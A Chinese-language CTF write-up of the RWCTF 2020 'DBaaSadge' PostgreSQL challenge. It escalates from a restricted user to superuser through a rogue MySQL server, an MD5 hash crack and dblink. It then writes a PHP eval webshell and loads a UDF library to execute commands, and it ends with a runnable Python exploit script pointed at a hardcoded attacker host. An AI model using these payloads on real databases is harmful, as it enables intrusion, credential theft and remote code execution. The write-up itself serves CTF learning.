RWCTF2020 DBaaSadge 復現

資料庫題目

2020RWCTF DBaaSadge WP

這是一個很有意思的題目,難到讓我絕望,跟著大佬smity的思路跑一下,求大佬抱抱。

//mp.weixin.qq.com/s/jvA5j9OPMFIPvP5267gk-Q

0x01 題目

image-20210119083302921

一打開就是題目的程式碼直接執行,可以直接執行pg的程式碼,但是長度不能超過100.(本身是給了dockerfile)先進行必要的資訊收集。

select version();
select user;

image-20210119083506773

image-20210119083528541

然後大佬說這不是10.5之前修復的那個CVE漏洞,而且那是一道pwn題,這是一個web題。然後想到的就是怎麼樣可以通過psql的資料庫語句來進行命令執行,但是這裡的用戶是realuser,不是superuser用戶,所以網上大部分的方法是不能夠使用的。

所以到現在想到的就是,提權加上getshell,來達到命令執行的效果。

0x02 dockfile分析

image-20210119084014713

其中被圈出來的是和psql有關的操作。比如說,psql -c "command"這是命令行模式直接執行psql語句的用法。咱們再來細細的分析這個dockerfile。

image-20210119084954006

1. 創建了一個沒有super許可權的realuser 密碼是 realpass
2. 安裝了dblink mysql_fdw的兩個擴展
3. dblink,能夠在一個資料庫中操作另外一個遠程的資料庫。
mysql_fdw擴展則是用來在Postgre中快速訪問MySQL中的數據,也就是給Postgre提供一個外界Mysql的訪問方式

這裡大佬想到了 rouge-mysql,而我就是個菜雞,資料庫題目一個都不會。(這個考點在CTF中比較常見,通過讓題目連接自己的mysql惡意伺服器來進行任意文件讀取(我怎麼就沒想到)

msql_fdw插件的使用://blog.csdn.net/bingluo8787/article/details/100958098

可以知道和直接使用mysql沒有什麼區別(嘻嘻

CREATE SERVER mysql_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306');
#創建一個server
CREATE USER MAPPING FOR realuser SERVER mysql_server OPTIONS (username 'root', password 'root');
#創建鏈接用戶名
CREATE FOREIGN TABLE test(id int) SERVER mysql_server OPTIONS (dbname 'a', table_name 'test');

select * from test;

DROP SERVER mysql_server

這樣我們在vps上面掛個腳本就可以了。//github.com/allyshka/Rogue-MySql-Server

這樣就可以任意文件讀取,但是有個問題,這有什麼用了….dokcer都給了。下面就是繼續提權了白。

下面給出3個方法

1.尋找conf文件配置中的漏洞,看能不能免密碼登錄superuser的賬戶,在UNIX平台中安裝PostgreSQL之後,PostgreSQL會在UNIX系統中創建一個名為"postgres"當用戶。PostgreSQL的默認用戶名和資料庫也是"postgres",而且這個是個superuser
2.在pg_hba.conf中如果把host配置為trust是可以進行免密登錄的
3.類比mysql ,在本地尋找密碼存儲的文件。通過vps來讀。

然後我們一個一個來驗證。

首先,我們來尋找這個神奇的conf文件。

image-20210119094634992

難道要成功了嗎?(忘記看啟動文件了。。

image-20210119101128474

再見謝謝。每次docker重啟就是刷新一個五位數的隨機密碼(記住,重點)。

驗證第二條思路:

讀取上面那個文件。

image-20210119101355309

image-20210119101706467

很明顯是不能夠登陸了。然後,五位數密碼爆破,去死把。

最後一個思路:

既然能夠讀取,百度查psql的密碼文件落戶到本地的哪個位置,在哪個目錄,我們直接讀取之。

mysql裡面的密碼存儲方式是落地的,就在data_directory變數的目錄位置,那麼同樣的,進到docker裡面通過查詢一下系統變數,就可以看到postgre的密碼存放位置。

image-20210119102418358

image-20210119102439503

然後用文件內容查找的命令

egrep -r "內容" 目錄

image-20210119102611994

然後使用md5在線解密或者爆破腳本使用。

image-20210119102823562

這裡面有歷史密碼。

md5爆破工具

//c3rb3r.openwall.net/mdcrack
使用方法
//www.91ri.org/1285.html
MDCrack-sse.exe   -algorithm=MD5 --append=postgres 8997a9f1da6bbfbc2aaad2cb295a1b0b

image-20210119104154604

拿到我想要的帳號和密碼,現在就是和上面的dblink聯合在一起,來登陸這個超級用戶

6k35mpostgres
select dblink_connect('host=127.0.0.1 port=5432 dbname=postgres user=postgres password=6k35m');

image-20210119110419536

成功登陸。

SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $$<?=@eval($_REQUEST[1]);?>$$) to $$/var/www/html/1.php$$;') as t1(record text);

下面就是如何將上面這句長長的payload打進去了,有長度限制。。。。

如果是敏感字元的考察 ,可以用postgre的存儲過程。
create OR REPLACE FUNCTION D(a INTEGER, b INTEGER) RETURNS INTEGER AS $$ SELECT a+b; $$ LANGUAGE SQL;
但是存儲過程在命令行中是可以分開寫的,就算是兩次連接一樣可以寫完,但是url裡面他的回車符傳入到postgre後端不識別,因此他不能分開寫,所以還是繞不過去100個字元的限制。因此這個方法不通。

正解:

通過子查詢,將poc語句寫到自己的mysql伺服器,利用mysql_fdw擴展連接mysql伺服器select出來。

postgre的常用命令

\c - realuser 切換用戶到realuser
DROP FOREIGN TABLE a66; 丟掉外部表a66
DROP USER MAPPING FOR realuser SERVER a66_server; 去掉用戶關係 對於realuser server a66
DROP SERVER a66_server;

這個地方一定一定不能因為想弄長一點,就用longtext或者其他text類型來聲明這兩個欄位,因為當postgre從mysql查詢的時候會報如下錯誤:

poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'IP',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"

現在文件已經寫完了,但是我們沒有什麼許可權

image-20210119152105664

開始打UDF,學習//blog.csdn.net/qq_33020901/article/details/79032774

//github.com/sqlmapproject/udfhack

這是sqlmap上面的udf插件。

linux換源://blog.csdn.net/u012308586/article/details/102953882

image-20210119155144324

在makefile裡面添加一行。執行make 10

編譯完成之後

image-20210119155458492

接下來我們需要將udf.so文件分割成每2048位元組的塊,最後一個塊的大小不滿足2048位元組不需要考慮.
為什麼不能小於2048?是因為在postgresql高版本處理中,如果塊之間小於2048,默認會用0去填充讓塊達到2048位元組所以上傳的文件才會一直創建函數失敗.

#~/usr/bin/env python 2.7
#-*- coding:utf-8 -*-
import sys

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print "Usage:python " + sys.argv[0] + "inputfile"
        sys.exit()
    fileobj = open(sys.argv[1],'rb')
    i = 0
    for b in fileobj.read():
        sys.stdout.write(r'{:02x}'.format(ord(b)))
        i = i + 1
        if i % 2048 == 0:
            print "\n"
    fileobj.close()
SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
SELECT lo_export(12345, '/tmp/testeval.so');
SELECT lo_unlink(12345);
insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;select sys_eval('/readflag');");

在將hex數據插入之後,運行一次poc,然後再將下面這個插入,再運行一次命令即可。

image-20210119171938650

下面腳本的使用條件:

vps上面開啟mysql服務3306埠 帳號admin 密碼123456
有資料庫b b里有
表a 裡面 s欄位是 存儲鏈接ps資料庫super的host和埠和帳號和密碼
m欄位是 命令執行readflag
表b 裡面 s欄位同上
m欄位是 so文件的載入

聽說命令執行有更好的方式不使用udf;
import requests
import hashlib
import random
import uuid
url ="//192.168.72.89:60080/?sql="

#填你的IP
ip="42.192.142.64"
port="3306"
server_name="aaaa"
dbname=server_name
Table_name=server_name
'''
任意文件的poc
poc1="CREATE SERVER "+server_name+" FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'"+ip+"',port'"+port+"');"
poc2里填寫你自己mysql的用戶名密碼
poc2="CREATE USER MAPPING FOR realuser SERVER "+server_name+" OPTIONS (username 'root', password 'root');"
poc3="CREATE FOREIGN TABLE "+Table_name+"(id int) SERVER "+server_name+" OPTIONS (dbname '"+dbname+"', table_name '"+Table_name+"');"
poc4="select * from "+Table_name+";"
poc5="DROP SERVER "+server_name
'''

'''

#插入數據
poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip  ',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'admin', password '123456');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"
#poc4 = "select dblink_connect((select s from a66),(select m from a66));"
poc5="DROP FOREIGN TABLE a66;"
poc6="DROP USER MAPPING FOR realuser SERVER a66_server;"
poc7 = "DROP SERVER a66_server;"
'''
poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'42.192.142.64  ',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'admin', password 'q79475432');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc8="CREATE FOREIGN TABLE a67(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'a');"
poc9="SELECT * FROM dblink((select s from a67), (select m from a67)) as t10(record text);"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"

poc5="DROP FOREIGN TABLE a66;DROP FOREIGN TABLE a67;"
poc6="DROP USER MAPPING FOR realuser SERVER a66_server;"
poc7="DROP SERVER a66_server;"
r1=requests.get(url+poc1)
print(r1.text)
r2=requests.get(url+poc2)
print(r2.text)
r3=requests.get(url+poc3)
print(r3.text)
r4=requests.get(url+poc4)
print(r4.text)
r8=requests.get(url+poc8)
print(r8.text)
r9=requests.get(url+poc9)
print(r9.text)

r5=requests.get(url+poc5)
print(r5.text)
r6=requests.get(url+poc6)
print(r6.text)
r7=requests.get(url+poc7)
print(r7.text)